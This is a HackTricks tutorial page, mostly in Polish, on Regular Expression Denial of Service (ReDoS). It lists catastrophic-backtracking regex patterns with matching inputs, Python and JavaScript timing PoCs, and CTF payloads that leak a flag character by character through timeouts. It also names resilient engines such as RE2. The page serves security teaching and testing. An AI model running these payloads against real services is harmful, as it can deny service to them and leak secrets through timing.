Regular expression Denial of Service - ReDoS

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Regular Expression Denial of Service (ReDoS)

A Regular Expression Denial of Service (ReDoS) występuje, gdy ktoś wykorzystuje słabości działania wyrażeń regularnych (sposób wyszukiwania i dopasowywania wzorców w tekście). Czasami używanie wyrażeń regularnych może stać się bardzo wolne, szczególnie gdy przetwarzany tekst się wydłuża. To spowolnienie może narastać tak szybko, że nawet niewielki wzrost rozmiaru tekstu powoduje znaczne opóźnienia. Atakujący mogą wykorzystać ten problem, aby spowodować, że program używający wyrażeń regularnych przestanie działać poprawnie przez dłuższy czas.

Problemowy naiwny algorytm wyrażeń regularnych

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Zachowanie silnika i podatność na wykorzystanie

  • Większość popularnych silników (PCRE, Java java.util.regex, Python re, JavaScript RegExp) używa maszyny wirtualnej opartej na backtracking. Spreparowane wejścia, które tworzą wiele nakładających się sposobów dopasowania podwzorca, wymuszają wykładniczy lub wysokiego stopnia wielomianowy backtracking.
  • Niektóre silniki/biblioteki są projektowane z założenia jako ReDoS-resilient (bez backtrackingu), np. RE2 i porty oparte na automatach skończonych, które zapewniają czas wykonania liniowy w najgorszym przypadku; użycie ich do przetwarzania nieufnego wejścia eliminuje prymityw backtrackingowego DoS. Zobacz odniesienia na końcu po szczegóły.

Złośliwe wyrażenia regularne

Złośliwy wzorzec wyrażenia regularnego to taki, który może zawiesić się na spreparowanym wejściu powodując DoS. Złośliwe wzorce wyrażeń regularnych zazwyczaj zawierają grupowanie z powtórzeniami oraz powtórzenia lub alternacje z nakładającymi się dopasowaniami wewnątrz powtarzanej grupy. Przykłady złośliwych wzorców:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Wszystkie one są podatne na wejście aaaaaaaaaaaaaaaaaaaaaaaa!.

Praktyczny przepis na tworzenie PoCs

Większość katastrofalnych przypadków ma następujący kształt:

  • Prefiks, który prowadzi do podatnego podwzorca (opcjonalny).
  • Długi ciąg znaku powodujący niejednoznaczne dopasowania wewnątrz zagnieżdżonych/nakładających się kwantyfikatorów (np. wiele a, _ lub spacji).
  • Końcowy znak, który wymusza ogólną porażkę, przez co silnik musi się cofnąć przez wszystkie możliwości (często znak, który nie pasuje do ostatniego tokena, jak !).

Minimalne przykłady:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Zwiększ N i obserwuj wzrost ponadliniowy.

Szybkie narzędzie pomiarowe (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

W CTF (lub bug bounty) być może kontrolujesz Regex, którym dopasowywana jest wrażliwa informacja (the flag). Wtedy może być przydatne spowodować, by strona się zawiesiła (timeout lub dłuższy czas przetwarzania), jeśli Regex się dopasuje, a nie wtedy, gdy się nie dopasuje. W ten sposób będziesz w stanie exfiltrate ciąg char by char:

  • W this post możesz znaleźć tę regułę ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Przykład: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • W this writeup możesz znaleźć tę: <flag>(((((((.*)*)*)*)*)*)*)!
  • W this writeup użył: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Kontrola wejścia i Regex

Poniżej znajdują się przykłady ReDoS, w których kontrolujesz zarówno input, jak i regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Uwagi języka/silnika dla atakujących

  • JavaScript (browser/Node): Wbudowany RegExp to silnik backtrackingowy i jest często podatny, gdy regex i input są kontrolowane przez atakującego.
  • Python: re jest backtrackingowy. Długie niejednoznaczne przebiegi plus niepasujący ogon często prowadzą do catastrophic backtracking.
  • Java: java.util.regex jest backtrackingowy. Jeśli kontrolujesz tylko input, szukaj endpoints używających złożonych walidatorów; jeśli kontrolujesz patterny (np. zapisane reguły), ReDoS zwykle jest trywialny.
  • Silniki takie jak RE2/RE2J/RE2JS lub crate Rust regex zostały zaprojektowane, by unikać catastrophic backtracking. Jeśli trafisz na nie, skup się na innych wąskich gardłach (np. ogromne wzorce) lub znajdź komponenty nadal używające silników backtrackingowych.

Narzędzia

Wskazówka: Gdy kontrolujesz tylko input, generuj ciągi o długościach podwajanych (np. 2^k znaków) i mierz opóźnienie. Wzrost wykładniczy wyraźnie wskazuje na wykonalny ReDoS.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks